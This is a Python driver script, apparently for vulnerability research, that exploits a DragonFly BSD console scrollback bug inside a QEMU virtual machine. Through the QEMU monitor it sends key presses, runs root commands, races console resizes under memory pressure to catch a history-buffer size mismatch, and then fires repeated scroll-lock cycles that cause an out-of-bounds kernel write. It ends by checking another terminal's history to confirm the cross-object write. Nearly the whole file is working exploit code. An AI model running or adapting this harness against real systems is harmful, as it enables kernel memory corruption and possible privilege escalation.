DF-5015 / drive.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 | #!/usr/bin/env python3 """DF-5015 host driver: key injection via QEMU monitor + guest cmds via ssh. stages: baseline -- no pressure; matched history; End view shows marker once (row 59) hunt [min] -- pressure on; flip loop on; detect mismatch: End view shows MARKERX 2+ times (25-row ring wraps inside the 60-row view) fire K -- repeat OOB-write key cycles (SLK on -> key(save=OOB write) -> SLK off(restore re-arms negative tail)) check -- view ttyv1 (victim) history; Z rows == cross-object write """ import socket, subprocess, sys, time SOCK = "/home/maxx/dfbsd/dfbsd/dfbsd-qemu/boot-mon.sock" VMDIR = "/home/maxx/dfbsd/dfbsd/dfbsd-qemu" class Mon: def __init__(self, path=SOCK): self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) self.s.connect(path) try: self.s.recv(65536) except Exception: pass def cmd(self, c, wait=0.02): self.s.send(c.encode() + b"\n") time.sleep(wait) try: self.s.settimeout(0.5) return self.s.recv(65536).decode(errors="replace") except Exception: return "" def key(self, name, hold=0.15): self.cmd(f"sendkey {name}", wait=0.01) time.sleep(hold) class Slk: """track scroll-lock state of the ACTIVE scp (query its own tty)""" def __init__(self, m, vty=0): self.m = m self.vty = vty def hw(self): out = run_root(f"/tmp/df5015 slkstate {self.vty}") return out.strip().endswith("1") def press(self): self.m.key("scroll_lock") def set(self, want): for _ in range(3): if self.hw() == want: return self.press() def run_root(cmd, timeout=90): p = subprocess.run(["./vm.sh", "run_root", cmd], cwd=VMDIR, capture_output=True, text=True, timeout=timeout) return (p.stdout + p.stderr).strip() def marker_rows(shot): rows = [] for line in shot.splitlines(): n, sep, row = line.partition("|") if sep and row.startswith("MARKERX"): try: rows.append(int(n)) except ValueError: pass return rows def z_rows(shot): return sum(1 for line in shot.splitlines() if line.partition("|")[2].count("Z") > 60) def view_oldest(m, slk, vty=0, marker="MARKERX"): """mark, enter browse, press End (oldest view), shoot, leave browse""" run_root(f"/tmp/df5015 mark {vty} {marker}") slk.set(True) m.key("end") shot = run_root(f"/tmp/df5015 shot {vty}") slk.set(False) return shot def stage_baseline(m): slk = Slk(m) print(run_root("/tmp/df5015 arm")) print(run_root("/tmp/df5015 drain >/dev/null 2>&1 & ")) run_root("touch /tmp/DF5015_STOP") print(run_root("/tmp/df5015 flip 1 2000 0")) # ends in 80x60 shot = view_oldest(m, slk) rows = marker_rows(shot) print("MARKER rows:", rows, "(matched => exactly one, row 59)") def stage_hunt(m, minutes=6): slk = Slk(m) run_root("rm -f /tmp/DF5015_STOP") run_root("/tmp/df5015 flip 1 0 1500") # return to 80x25, matched print(run_root("/tmp/df5015 arm")) print(run_root("/tmp/df5015 drain >/dev/null 2>&1 & ")) print(run_root("su maxx -c '/tmp/df5015 pressure 4000 >/tmp/pressure.log 2>&1 &'")) print(run_root("/tmp/df5015 flip 100000 3000 60 >/tmp/flip.log 2>&1 &")) deadline = time.time() + minutes * 60 attempt = 0 while time.time() < deadline: attempt += 1 shot = view_oldest(m, slk) rows = marker_rows(shot) if len(rows) >= 2: print(f"attempt {attempt}: MISMATCH! marker rows {rows} " f"(25-row ring wraps inside 60-row view)") run_root("touch /tmp/DF5015_STOP") # freeze in 80x60 time.sleep(1.0) # let the flip loop exit return True if attempt % 10 == 0: print(f"attempt {attempt}: matched (rows {rows}), hunting...") print(run_root("cat /tmp/pressure.log 2>/dev/null | tail -1")) print("hunt: no mismatch window caught") run_root("touch /tmp/DF5015_STOP") return False def stage_fire(m, cycles=40): slk = Slk(m) print(run_root("/tmp/df5015 fill 0 Z 70")) for i in range(cycles): slk.set(False) # ensure off slk.set(True) # on m.key("home") # first key: sc_hist_save -> OOB WRITE slk.set(False) # off: sc_hist_restore -> re-arm neg tail if i % 10 == 0: print(f"fire cycle {i}") print("fire done") def stage_check(m): slk = Slk(m, vty=1) print(run_root("/tmp/df5015 switch 2")) # VT_ACTIVATE #2 == ttyv1 time.sleep(0.5) print(run_root("/tmp/df5015 mark 1 VICTIMROW")) shot = view_oldest(m, slk, vty=1) n = z_rows(shot) print(shot[:900]) print(f"ttyv1 oldest view: {n} full Z rows " f"({'CROSS-OBJECT WRITE CONFIRMED' if n else 'no Z rows seen'})") print(run_root("/tmp/df5015 switch 0")) if __name__ == "__main__": m = Mon() stage = sys.argv[1] if len(sys.argv) > 1 else "baseline" if stage == "baseline": stage_baseline(m) elif stage == "hunt": ok = stage_hunt(m, minutes=int(sys.argv[2]) if len(sys.argv) > 2 else 6) if ok: stage_fire(m) stage_check(m) elif stage == "fire": stage_fire(m, int(sys.argv[2]) if len(sys.argv) > 2 else 40) stage_check(m) elif stage == "check": stage_check(m) |